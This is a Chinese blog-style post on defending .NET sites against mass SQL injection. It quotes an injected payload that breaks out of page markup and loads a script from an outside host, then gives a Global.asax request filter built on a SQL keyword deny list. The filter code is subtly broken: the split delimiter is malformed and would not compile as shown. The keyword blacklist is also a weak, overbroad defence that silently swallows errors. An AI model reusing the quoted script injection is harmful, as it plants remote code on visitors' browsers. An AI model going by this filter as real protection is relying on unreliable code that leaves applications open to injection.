最近sql注入資料庫被更改泛濫,以下提供一個.net程式防止sql注入的方法

最近sql注入資料庫被更改泛濫：狀況如下：“ </title> </pre>> <script src=http://sb.5252.ws:88/107/1.js> </script> <”，
以下提供一個.net程式防止sql注入的方法（過濾敏感語句的僅供參考）方式如下：在Global.asax檔案下面加入如下代碼：
 void Application_BeginRequest(Object sender, EventArgs e)
    {
        StartProcessRequest();

    }

    #region SQL注入式攻擊程式碼分析
    ///  <summary>
    /// 處理使用者提交的請求
    ///  </summary>
    private void StartProcessRequest()
    {
        try
        {
            string getkeys = "";
            string sqlErrorPage = "../default.aspx";//轉向的錯誤提示頁面
            if (System.Web.HttpContext.Current.Request.QueryString != null)
            {

                for (int i = 0; i  < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                {
                    getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                    if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
                    {
                        System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                        System.Web.HttpContext.Current.Response.End();
                    }
                }
            }
            if (System.Web.HttpContext.Current.Request.Form != null)
            {
                for (int i = 0; i  < System.Web.HttpContext.Current.Request.Form.Count; i++)
                {
                    getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                    if (getkeys == "__VIEWSTATE") continue;
                    if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                    {
                        System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                        System.Web.HttpContext.Current.Response.End();
                    }
                }
            }
        }
        catch
        {
            // 錯誤處理: 處理使用者提交資訊!
        }
    }
    ///  <summary>
    /// 分析使用者請求是否正常
    ///  </summary>
    ///  <param name="Str">傳入使用者提交資料 </param>
    ///  <returns>返回是否含有SQL注入式攻擊代碼 </returns>
    private bool ProcessSqlStr(string Str)
    {
        bool ReturnValue = true;
        try
        {
            if (Str.Trim() != "")
            {
                string SqlStr = "and ¦exec ¦insert ¦select ¦delete ¦update ¦count ¦* ¦chr ¦mid ¦master ¦truncate ¦char ¦declare";

                string[] anySqlStr = SqlStr.Split(' ¦');
                foreach (string ss in anySqlStr)
                {
                    if (Str.ToLower().IndexOf(ss) >= 0)
                    {
                        ReturnValue = false;
                        break;
                    }
                }
            }
        }
        catch
        {
            ReturnValue = false;
        }
        return ReturnValue;
    }
    #endregion